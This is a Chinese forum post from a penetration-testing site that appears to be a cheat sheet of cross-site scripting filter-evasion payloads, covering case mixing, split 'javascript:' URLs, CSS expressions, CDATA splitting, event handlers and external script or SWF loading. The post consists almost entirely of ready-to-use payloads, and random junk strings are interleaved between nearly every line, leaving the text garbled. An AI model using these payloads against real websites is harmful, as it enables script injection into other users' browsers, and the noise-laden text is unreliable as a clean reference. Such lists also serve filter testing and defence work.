中国网络渗透测试联盟
标题:
Cross Site Scripting(XSS)攻击手法介绍
[打印本页]
作者:
admin
时间:
2012-12-31 09:59
标题:
Cross Site Scripting(XSS)攻击手法介绍
1. 改变字符大小写
' J1 t) b, z! z& h0 m2 ~0 Y
5 y; ^3 R& Z4 U4 M, ^' c6 p6 h
& d- `( g2 |- h' |1 @. q5 E0 ]
( k p4 }1 ]4 _( `* s- d
<sCript>alert(‘d’)</scRipT>
& A+ \2 ^; j( c$ |% n
2 r+ e. U4 U; z: N/ j, u8 v9 ?
2. 利用多加一些其它字符来规避Regular Expression的检查
0 F6 q, q1 O0 h& y
7 N3 Y5 g; Q% F7 E2 ^/ h8 N
<<script>alert(‘c’)//<</script>
f1 s. p X. \4 t3 {% u1 V' Z& c
h6 ? A( J n* }3 `, K
<SCRIPT a=">" SRC="t.js"></SCRIPT>
. L |5 c+ S `+ c0 g( v0 c
( `3 `2 P- n9 M
<SCRIPT =">" SRC="t.js"></SCRIPT>
4 @2 W# j$ A- d/ h$ e
" R9 @3 p0 L6 L: A! x, G- N
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
7 ~- m0 k& w$ O L4 p
, U1 b! Y$ W* \
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
( j' e1 I; W$ s- f p7 f. y9 [# o9 r
/ M( z. k2 U9 P- U) }
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
F8 c- c5 u6 Y) p$ ]& M; Y- c
8 c: w! g7 w4 G* A& U
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
. n7 B- r! Q' a* k. p
1 t0 `; Q9 V! h/ }+ ^
3. 以其它扩展名取代.js
$ A d# M' a2 I) j: ?9 i
$ X7 `8 ~: ]9 C
<script src="bad.jpg"></script>
* ]% \* H( z" P x) N
/ Y- s" l1 Y" [: v# g
4. 将Javascript写在CSS档里
9 a* _$ y0 |: i; M& i) }! E
. w, H1 R3 O: X0 i& \, v
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
( l& ]% R" O/ n& U, d
7 h! ?3 J3 y, i& o X; \; b5 ?
example:
9 H- s ~# D% c# s+ Y
* z- S7 e7 ~ G1 @4 T( }
body {
* S5 u$ @( a; n, h% `% K
" S4 l; B7 s/ K. Y4 i
background-image: url(‘javascript:alert("XSS");’)
* F$ {* K+ p7 Q/ n t
j& x8 Q7 g1 J& v4 W
}
% C& o8 v# n, w
7 q; T% \, G# B9 P0 ~
5. 在script的tag里加入一些其它字符
. x2 N! K B% j& P
; |& p/ O% ?' Q/ i1 U
<SCRIPT/SRC="t.js"></SCRIPT>
- _9 m9 Q% j9 X( h
+ G4 k4 D: y3 R7 J3 {2 c/ ^) ?
<SCRIPT/anyword SRC="t.js"></SCRIPT>
3 G- N0 j# ^3 v2 I3 ]5 y# ]
2 a' r3 ~: T2 w8 E7 N
6. 使用tab或是new line来规避
. R9 z6 S6 E. t, k
+ H4 d N( B+ |) r( U9 {& S \& {
<img src="jav ascr ipt:alert(‘XSS3′)">
9 Z- h+ k. g# A% }6 v6 K" o
. a# \3 H3 s6 w1 s4 ]& c+ L% e: d
<img src="jav ascr ipt:alert(‘XSS3′)">
6 G8 E; L0 j1 I) L/ C& e0 Z
8 G+ V$ g% i, Y" J- I$ p
<IMG SRC="jav ascript:alert(‘XSS’);">
0 Y. Z# q% x+ H, a5 B+ p
$ p) j( F2 n/ t9 f
-> tag
$ y# L f. m: M) F" w* }
$ t5 S0 q/ f! V3 o
-> new line
- p" M$ N3 o) Y0 ~% u+ X% o" d
. N1 L' z2 h& U% @
7. 使用"\"来规避
9 ~$ P2 g' w: V
( s4 T! c6 x% B1 K; s
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
4 [" g; C. X+ ]5 o; F
$ ]: x- c0 A. j7 ], E" Z) ^+ F# |
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
, }2 O& V. Z3 ]
' x+ Z: B" O! R$ n& Z
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
& x0 h( w5 K4 W$ ^6 i
* r& b- p0 R! a8 C ~- F- y
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
- r" a2 t) H4 K* R! M
+ P3 D) U1 q, k- i- _/ o0 E/ m
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
G6 C" P$ Y0 {6 U' j2 U, d2 f( T
. U0 U! w* S/ ]: P L
8. 使用Hex encode来规避(也可能会把";"拿掉)
0 T( F9 t' @) Q1 y
8 }' q7 M2 [( Q( ^& Y4 y
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
" ^# b2 @2 F/ |" d- Q
5 ~) W" K( [7 J
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
6 t' H1 s5 M6 Z
- F2 a- B! I- S+ p6 c
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
) }7 ?9 ?$ p |' h
& r0 c( y0 _* D( E
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
4 |" Y& o4 @( q# q8 c0 \ j D; H
! a( T& s2 v+ F) m/ ]" W* S& E
9. script in HTML tag
4 A, _$ P' m1 D
/ |5 P/ I% S9 ?& K! L. a% E
<body onload=」alert(‘onload’)」>
& v6 b& I: a# ]6 k- A6 _% Z
0 W# X6 w) f0 v) l/ J4 ~- v
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
/ C; E" R2 ?& w3 x# x$ t' y0 e, t8 C
q4 H$ l1 H5 Z
10. 在swf里含有xss的code
1 N5 o9 c5 w/ u4 d7 B) M
$ ^3 `, c* G; k; Z9 X& b+ K- i9 H
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
/ E3 z* B7 N4 D# d- z5 y! P
7 O5 V% A& z# U
11. 利用CDATA将xss的code拆开,再组合起来。
9 W% j$ ^, `$ S8 V" d
Q2 [" z" G, X8 D" U" c) P6 j
<XML ID=I><X><C>
^( x; B5 [" S6 C# c
! f- K" @1 d. p0 ]) b: t
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
5 Y+ W) i/ o+ \: _% ?
7 v) c! W: B2 @. x! `8 n& i: Q. S R
</C></X>
/ N; ?; t2 ~: O2 d" U! T
0 w6 k' X9 _! x6 e2 @; v$ q
</xml>
2 L0 Z5 z* \' R* J
! v* t0 ?+ W K9 }0 `. T
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
# b) ?' t, |$ |/ L
1 D D v) {- V$ z, |, P
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
, t8 E3 B) p |) c9 m
. ~ r: `/ k- \& _
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
1 a- r$ n' ?. g ]
3 ]. v) d& _% L% e! w. D
12. 利用HTML+TIME。
- ~/ Z, @# o. ` q# g1 S6 O
* g# H+ _# u/ ]; F3 c3 u
<HTML><BODY>
7 ^3 g, W" x5 C
" P- y( e y- E
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
/ N7 x0 o- z+ ~5 m
7 E2 Y9 `& S. ?9 ?
<?import namespace="t" implementation="#default#time2">
: Y# S) N3 a! s* e
+ z) n# W* h6 O2 ?
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
3 |. ?$ N* p' ?5 e( g$ g
/ E7 F' g8 [8 k4 W' |
</BODY></HTML>
3 i% J% f a1 i- L
4 V' Q/ L5 @7 K! v9 V. ]1 K
13. 透过META写入Cookie。
1 J; f+ h- Y( u- R9 X( o4 b& s
: V, K( x2 s# x% `+ F* z* t7 ^
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
) ]3 b; V5 b% U' ? V
8 v4 F" W+ Z6 U2 S8 T# ]4 i4 f
14. javascript in src , href , url
- A$ P) I# \0 @' ^7 C
6 [' P$ |6 S( u' @1 P
<IFRAME SRC=javascript:alert(’13′)></IFRAME>
' R% S/ F2 D- d2 j a) V7 o+ X
2 N" E5 ~% c0 I) c" J2 d! n; @
<img src="javascript:alert(‘XSS3′)">
+ j" y. M6 Q# O4 e* r; W
7 v u5 b% u& m: ]; \3 d
<IMG DYNSRC="javascript:alert(‘XSS20′)">
: h7 q5 G$ [% v a% W( t- n
: C; T v- z1 ~4 l0 l' J
<IMG LOWSRC="javascript:alert(‘XSS21′)">
5 |$ W- G1 k @" ?1 P) o1 c
6 D X/ q% ]2 r7 @) u
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
) h; c% l$ ^" D( h
" B! z$ d7 j) T" U# j
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
4 b( `4 n3 h7 P7 W: [
T# j4 y# `3 Y0 Z5 z% w% ^3 ]0 m
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
8 r4 z9 Q+ ]' N. m- r
0 R% X* N0 M$ ^* {8 r$ r7 K
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
2 Y; I5 Q8 n; H. z1 a) t/ Z5 L
! H; z. o# t# H
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
1 m- r: N/ `+ x2 H7 @: {- T0 {" z" L
& _- ]. L4 s6 b6 h
</STYLE><A CLASS=XSS></A>
, W. A I& n8 M6 z; b
; j8 @1 a- n& N! q
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
5 t8 t& G$ `& n( i% O
( x, K6 N0 ]$ d9 y3 C" b* p1 I% i: t
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2